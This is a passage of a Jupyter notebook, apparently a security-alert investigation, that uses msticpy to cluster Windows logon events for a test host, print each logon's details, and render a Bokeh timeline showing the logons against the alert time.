       "1  52b1ab41-869e-4138-9e40-2a4457f09bf0         NT AUTHORITY\\SYSTEM    4624   \n",
       "0  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin    4624   \n",
       "\n",
       "            TimeGenerated                      SourceComputerId  \\\n",
       "6 2019-02-12 22:22:21.240  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "1 2019-02-13 21:10:58.540  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "0 2019-02-13 22:03:42.283  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "\n",
       "          Computer   SubjectUserName SubjectDomainName SubjectUserSid  \\\n",
       "6  MSTICAlertsWin1  MSTICAlertsWin1$         WORKGROUP       S-1-5-18   \n",
       "1  MSTICAlertsWin1  MSTICAlertsWin1$         WORKGROUP       S-1-5-18   \n",
       "0  MSTICAlertsWin1  MSTICAlertsWin1$         WORKGROUP       S-1-5-18   \n",
       "\n",
       "  TargetUserName TargetDomainName  \\\n",
       "6          DWM-2   Window Manager   \n",
       "1         SYSTEM     NT AUTHORITY   \n",
       "0     MSTICAdmin  MSTICAlertsWin1   \n",
       "\n",
       "                                  TargetUserSid TargetLogonId  \\\n",
       "6                                  S-1-5-90-0-2     0x106b458   \n",
       "1                                      S-1-5-18         0x3e7   \n",
       "0  S-1-5-21-996632719-2361334927-4038480536-500     0x1e821b5   \n",
       "\n",
       "  LogonProcessName LogonType AuthenticationPackageName Status IpAddress  \\\n",
       "6         Advapi           2                 Negotiate                -   \n",
       "1         Advapi           5                 Negotiate                -   \n",
       "0         Advapi           4                 Negotiate                -   \n",
       "\n",
       "   WorkstationName AccountNum LogonHour Clustered  ClusterId  ClusterSize  \\\n",
       "6                -       1782        22      True        2.0          2.0   \n",
       "1                -       1484        21      True        1.0         16.0   \n",
       "0  MSTICAlertsWin1       2319        22      True        0.0          4.0   \n",
       "\n",
       "            LastEventTime  \n",
       "6 2019-02-12 22:22:21.240  \n",
       "1 2019-02-12 22:14:07.417  \n",
       "0 2019-02-13 00:55:38.670  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features, _string_score\n",
    "\n",
    "host_logons = qry.list_host_logons(provs=[query_times, security_alert])\n",
    "if host_logons is not None and not host_logons.empty:\n",
    "    logon_features = host_logons.copy()\n",
    "    logon_features['AccountNum'] = host_logons.apply(lambda x: _string_score(x.Account), axis=1)\n",
    "    logon_features['LogonHour'] = host_logons.apply(lambda x: x.TimeGenerated.hour, axis=1)\n",
    "\n",
    "    # you might need to play around with the max_cluster_distance parameter.\n",
    "    # decreasing this gives more clusters.\n",
    "    (clus_logons, _, _) = dbcluster_events(data=logon_features, time_column='TimeGenerated',\n",
    "                                           cluster_columns=['AccountNum',\n",
    "                                                            'LogonType'],\n",
    "                                                             max_cluster_distance=0.0001)\n",
    "    print('Number of input events:', len(host_logons))\n",
    "    print('Number of clustered events:', len(clus_logons))\n",
    "    print('\\nDistinct host logon patterns:')\n",
    "    display(clus_logons.sort_values('TimeGenerated'))\n",
    "else:\n",
    "    print('No logon events found for host.')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 91,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "### Account Logon\n",
      "Account:  MSTICAdmin\n",
      "Account Domain:  MSTICAlertsWin1\n",
      "Logon Time:  2019-02-13 22:03:42.283000\n",
      "Logon type: 4 (Batch)\n",
      "User Id/SID:  S-1-5-21-996632719-2361334927-4038480536-500\n",
      "    SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator\n",
      "    SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account\n",
      "Session id '0x1e821b5'  \n",
      "Subject (source) account:  WORKGROUP/MSTICAlertsWin1$\n",
      "Logon process:  Advapi  \n",
      "Authentication:  Negotiate\n",
      "Source IpAddress:  -\n",
      "Source Host:  MSTICAlertsWin1\n",
      "Logon status:  \n",
      "\n",
      "### Account Logon\n",
      "Account:  SYSTEM\n",
      "Account Domain:  NT AUTHORITY\n",
      "Logon Time:  2019-02-13 21:10:58.540000\n",
      "Logon type: 5 (Service)\n",
      "User Id/SID:  S-1-5-18\n",
      "    SID S-1-5-18 is LOCAL_SYSTEM\n",
      "Session id '0x3e7'  System logon session\n",
      "\n",
      "Subject (source) account:  WORKGROUP/MSTICAlertsWin1$\n",
      "Logon process:  Advapi  \n",
      "Authentication:  Negotiate\n",
      "Source IpAddress:  -\n",
      "Source Host:  -\n",
      "Logon status:  \n",
      "\n",
      "### Account Logon\n",
      "Account:  DWM-2\n",
      "Account Domain:  Window Manager\n",
      "Logon Time:  2019-02-12 22:22:21.240000\n",
      "Logon type: 2 (Interactive)\n",
      "User Id/SID:  S-1-5-90-0-2\n",
      "Session id '0x106b458'  \n",
      "Subject (source) account:  WORKGROUP/MSTICAlertsWin1$\n",
      "Logon process:  Advapi  \n",
      "Authentication:  Negotiate\n",
      "Source IpAddress:  -\n",
      "Source Host:  -\n",
      "Logon status:  \n",
      "\n"
     ]
    }
   ],
   "source": [
    "# Display logon details\n",
    "nbdisp.display_logon_data(clus_logons, security_alert)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Comparing All Logons with Clustered results relative to Alert time line"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 92,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.pydata.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1765\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1765\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n",
       "    }\n",
       "    finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.info(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(js_urls, callback) {\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = js_urls.length;\n",
       "    for (var i = 0; i < js_urls.length; i++) {\n",
       "      var url = js_urls[i];\n",
       "      var s = document.createElement('script');\n",
       "      s.src = url;\n",
       "      s.async = false;\n",
       "      s.onreadystatechange = s.onload = function() {\n",
       "        root._bokeh_is_loading--;\n",
       "        if (root._bokeh_is_loading === 0) {\n",
       "          console.log(\"Bokeh: all BokehJS libraries loaded\");\n",
       "          run_callbacks()\n",
       "        }\n",
       "      };\n",
       "      s.onerror = function() {\n",
       "        console.warn(\"failed to load library \" + url);\n",
       "      };\n",
       "      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.getElementsByTagName(\"head\")[0].appendChild(s);\n",
       "    }\n",
       "  };var element = document.getElementById(\"1765\");\n",
       "  if (element == null) {\n",
       "    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1765' but no matching script tag was found. \")\n",
       "    return false;\n",
       "  }\n",
       "\n",
       "  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    \n",
       "    function(Bokeh) {\n",
       "      \n",
       "    },\n",
       "    function(Bokeh) {\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if ((root.Bokeh !== undefined) || (force === true)) {\n",
       "      for (var i = 0; i < inline_js.length; i++) {\n",
       "        inline_js[i].call(root, root.Bokeh);\n",
       "      }if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1765\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(js_urls, function() {\n",
       "      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  \n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"1765\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n    }\n    finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.info(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(js_urls, callback) {\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = js_urls.length;\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var s = document.createElement('script');\n      s.src = url;\n      s.async = false;\n      s.onreadystatechange = s.onload = function() {\n        root._bokeh_is_loading--;\n        if (root._bokeh_is_loading === 0) {\n          console.log(\"Bokeh: all BokehJS libraries loaded\");\n          run_callbacks()\n        }\n      };\n      s.onerror = function() {\n        console.warn(\"failed to load library \" + url);\n      };\n      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.getElementsByTagName(\"head\")[0].appendChild(s);\n    }\n  };var element = document.getElementById(\"1765\");\n  if (element == null) {\n    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1765' but no matching script tag was found. \")\n    return false;\n  }\n\n  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    \n    function(Bokeh) {\n      \n    },\n    function(Bokeh) {\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n    }\n  ];\n\n  function run_inline_js() {\n    \n    if ((root.Bokeh !== undefined) || (force === true)) {\n      for (var i = 0; i < inline_js.length; i++) {\n        inline_js[i].call(root, root.Bokeh);\n      }if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"1765\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(js_urls, function() {\n      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));"
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Alert start time =  2019-02-13 22:03:42\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"34ab7d12-04cc-4c76-95a3-7fb2431c4cb0\" data-root-id=\"1769\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"8a22f98f-31a4-452e-ba9b-153e719ce0dd\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"1779\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"1784\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"1779\",\"type\":\"DatetimeAxis\"},{\"id\":\"1783\",\"type\":\"Grid\"},{\"id\":\"1784\",\"type\":\"LinearAxis\"},{\"id\":\"1788\",\"type\":\"Grid\"},{\"id\":\"1796\",\"type\":\"BoxAnnotation\"},{\"id\":\"1806\",\"type\":\"GlyphRenderer\"},{\"id\":\"1812\",\"type\":\"GlyphRenderer\"},{\"id\":\"1817\",\"type\":\"GlyphRenderer\"},{\"id\":\"1819\",\"type\":\"Label\"}],\"title\":{\"id\":\"1768\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"1793\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"1771\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"1775\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"1773\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"1777\",\"type\":\"LinearScale\"}},\"id\":\"1769\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"formatter\":{\"id\":\"1822\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"1769\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1785\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"1784\",\"type\":\"LinearAxis\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1815\",\"type\":\"Line\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"1769\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1785\",\"type\":\"BasicTicker\"}},\"id\":\"1788\",\"type\":\"Grid\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1816\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"1789\",\"type\":\"PanTool\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1824\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"source\":{\"id\":\"1808\",\"type\":\"ColumnDataSource\"}},\"id\":\"1813\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1835\",\"type\":\"YearsTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"1814\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1815\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1816\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"1818\",\"type\":\"CDSView\"}},\"id\":\"1817\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1767\",\"type\":\"HoverTool\"},{\"id\":\"1789\",\"type\":\"PanTool\"},{\"id\":\"1790\",\"type\":\"WheelZoomTool\"},{\"id\":\"1791\",\"type\":\"BoxZoomTool\"},{\"id\":\"1792\",\"type\":\"ResetTool\"}]},\"id\":\"1793\",\"type\":\"Toolbar\"},{\"attributes\":{\"source\":{\"id\":\"1814\",\"type\":\"ColumnDataSource\"}},\"id\":\"1818\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1801\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"1769\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1550095422000.0,\"y\":0,\"y_offset\":10},\"id\":\"1819\",\"type\":\"Label\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1790\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"1836\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"overlay\":{\"id\":\"1796\",\"type\":\"BoxAnnotation\"}},\"id\":\"1791\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"Window Manager\\\\DWM-2\",\"Window Manager\\\\DWM-2\",\"NT AUTHORITY\\\\SYSTEM\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\ian\",\"MSTICAlertsWin1\\\\ian\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[4,5,5,5,5,5,2,2,5,3,3,3,5,5,5,5,5,5,5,5,5,5],\"TimeGenerated\":{\"__ndarray__\":\"ALA0MY6OdkIAwM4si452QgDQLJOMjnZCAOBNyIeOdkIAkAmrh452QgCw2ZuHjnZCAICj3DyOdkIAgKPcPI52QgBgj7dFjnZCAKDTukWOdkIAMAq/RY52QgDgGqJFjnZCABAxu1KOdkIA0AmgTY52QgCAAJ6HjnZCABDHVDyOdkIAIGNVPI52QgAAnMg8jnZCAICoBTyOdkIA8KkFPI52QgCwRV08jnZCAJATZDyOdkI=\",\"dtype\":\"float64\",\"shape\":[22]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"1837\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1836\",\"type\":\"UnionRenderers\"}},\"id\":\"1766\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1832\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1822\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1827\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1550095422000.0,1550095422000.0],\"y\":[0,3]},\"selected\":{\"id\":\"1841\",\"type\":\"Selection\"},\"selection_